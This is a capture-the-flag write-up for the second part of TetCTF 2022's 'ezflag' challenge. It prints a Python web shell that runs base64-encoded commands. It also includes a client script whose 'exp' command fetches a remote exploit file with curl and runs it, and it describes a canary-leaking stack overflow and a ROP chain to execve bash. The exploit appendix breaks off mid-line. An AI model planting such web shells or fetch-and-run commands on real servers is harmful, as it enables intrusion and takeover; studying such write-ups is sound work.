Tags: pwn rop
Rating:
# Ezflag part 2
# Persistance
Even though we can execute our own command now, but it’s rather annoying that we need to upload a new file each time we need to execute a new command, therefore I decided to upload a web shell, so I can easily execute command as I wish.
```python
import socket
import base64
import os
cmd = os.environ.get('QUERY_STRING')
os.system(base64.b64decode(cmd))
#curl [server]/uploads/webshell.py?[base64 encoded command]
```
This simple web shell takes a base64 encoded command as it’s query string, execute it, and show it’s result. I later write a simple script to interact it and use it as a shell.
```python
webshell $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
# One step deeper
From the result above we can see that we are only www-data, and have pretty limited permission. Listing the root directory shows that there is a flag2 file only readable as daemon. From the upload.py file we know that there is a authorization service run on the server run by the daemon. The service seems to be running the auth file that also located in the root directory (results of ps aux also confirms this). I copy the auth file to the upload directory, change the permission, then curl the server from local machine to get the binary to local machine.
```python
webshell $ ls -al /
total 864
drwxr-xr-x 1 root root 4096 Jan 1 00:06 .
drwxr-xr-x 1 root root 4096 Jan 1 00:06 ..
-rwxr-xr-x 1 root root 0 Jan 1 00:06 .dockerenv
-r-xr--r-- 1 daemon daemon 802768 Dec 31 22:39 auth
lrwxrwxrwx 1 root root 7 Oct 6 16:47 bin -> usr/bin
drwxr-xr-x 2 root root 4096 Apr 15 2020 boot
drwxr-xr-x 5 root root 340 Jan 1 03:44 dev
drwxr-xr-x 1 root root 4096 Jan 1 00:06 etc
-r--r--r-- 1 root root 41 Jan 1 00:03 flag
-r-------- 1 daemon daemon 41 Jan 1 00:03 flag2
drwxr-xr-x 2 root root 4096 Apr 15 2020 home
lrwxrwxrwx 1 root root 7 Oct 6 16:47 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Oct 6 16:47 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Oct 6 16:47 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Oct 6 16:47 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4096 Oct 6 16:47 media
drwxr-xr-x 2 root root 4096 Oct 6 16:47 mnt
drwxr-xr-x 2 root root 4096 Oct 6 16:47 opt
dr-xr-xr-x 995 root root 0 Jan 1 03:44 proc
drwx------ 1 root root 4096 Jan 1 03:40 root
drwxr-xr-x 1 root root 4096 Jan 1 00:06 run
-rwxr-xr-x 1 1000 1000 189 Dec 31 15:29 run.sh
lrwxrwxrwx 1 root root 8 Oct 6 16:47 sbin -> usr/sbin
drwxr-xr-x 2 root root 4096 Oct 6 16:47 srv
dr-xr-xr-x 13 root root 0 Jan 1 03:44 sys
drwxrwxrwt 1 root root 4096 Jan 1 06:57 tmp
drwxr-xr-x 1 root root 4096 Jan 1 00:05 usr
drwxr-xr-x 1 root root 4096 Jan 1 00:05 var
webshell $ cp /auth /var/www/uploads/bronson113/auth.bin
webshell $ chmod 777 auth.bin
```
# Vulnerability
In the authorization file, function we are interested locates at 0x0401f10
![reversed_func_0x0401f10](https://bronson113.github.io/img/TetCTF2022-ezflag.png)
We can see that it attempts to copy the received buff onto the stack variable, effectively doing a memcopy on the stack, but since it doesn’t reserve enough space for the buff, we can overflow and control rip.
# Exploitation
We know that we can control rip by overwriting the return pointer. However stack canary is enabled in this binary, so we need to leak the canary first. Since the service daemon is forking itself for each connection, the layout and canary won’t change between connection, so we just need two connections, one to leak and one to pwn.
Initially I tried to use the rop chain generated by ropper but it’s too long, and the shell doesn’t pop back through socket. I also realize that the rop chain runs on a different process, therefore we need to do other stuff to get our flag.
I end up constructing a rop chain to call `execve ("/bin/bash",["/bin/bash","-c",cmd],0)` then copy the flag file and change the permission to read it through web shell.
part 2 flag: `TetCTF{cc17b4cd7d2e4cb0af9ef992e472b3ab}`
# Appendix 1 - shell.py
```python
import requests
import base64
from pwn import *
ip = ""
webserver_port = 0
def send_cmd(s):
s = s+";echo a;"
cmd = base64.b64encode(s.encode()).decode('latin-1')
payload = f"http://18.191.117.63:9090/uploads/bronson113/webshell.py?{cmd}"
print(payload)
r = requests.get(payload)
if r.text[:9]=="[base64] ":
print("base64 data:", base64.b64decode(r.text[9:-2]))
if r.text[:6]== "[exp] ":
raw_data = base64.b64decode(r.text[6:-2])
print(f"raw_data: {raw_data}")
print(','.join(hex(u64(raw_data[i:i+8])) for i in range(8, len(raw_data), 8)))
else:
print(r.text[:-2])
while True:
s = input(">> ").strip()
if s=="exp":
send_cmd(f"curl https://{ip}:{webserver_port}/exp.py > local_exp_bronson113_v1.py;python3 local_exp_bronson113_v1.py")
else:
send_cmd(s)
#TetCTF{65e95f4eacc1fe7010616e051f1c610a}
```
# Appendix 2 - exp.py
```python
import socket
import base64
from struct import pack, unpack
from time import sleep
p = lambda x : pack('Q', x)
u = lambda x : unpack('